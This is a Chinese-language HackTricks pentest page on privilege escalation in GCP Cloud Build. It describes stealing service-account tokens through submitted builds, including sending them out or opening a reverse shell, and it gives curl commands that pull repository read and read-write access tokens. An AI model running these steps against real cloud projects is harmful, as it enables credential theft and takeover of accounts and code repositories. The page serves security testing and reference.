GCP - Cloudbuild Privesc

支持 HackTricks

cloudbuild

有关 Cloud Build 的更多信息,请查看:

GCP - Cloud Build Enum

cloudbuild.builds.create

有了这个权限,你可以提交一个 cloud build。cloudbuild 机器的文件系统中默认会有一个 cloudbuild Service Account 的 token<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com。但是,你可以在 cloudbuild 配置中指定项目内的任何服务账户。 因此,你可以让机器将 token 外传到你的服务器,或者在其中获取反向 shell 并获取 token(包含 token 的文件可能会更改)。

你可以在 GitHub 上找到原始漏洞脚本(但它获取 token 的位置对我不起作用)。因此,请查看一个自动化脚本来 创建、利用和清理漏洞环境 和一个 python 脚本来在 cloudbuild 机器中获取反向 shell 并 窃取它(在代码中你可以找到如何指定其他服务账户)。

有关更深入的解释,请访问 https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

潜在地有了这个权限,你将能够更新一个 cloud build 并像之前的权限一样窃取服务账户 token(但不幸的是,在撰写本文时,我找不到任何调用该 API 的方法)。

TODO

cloudbuild.repositories.accessReadToken

有了这个权限,用户可以获取用于访问仓库的读取访问 token

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

拥有此权限的用户可以获取用于访问存储库的读写访问令牌

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

拥有此权限,您可以获取连接有权访问的仓库:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
支持 HackTricks

Last updated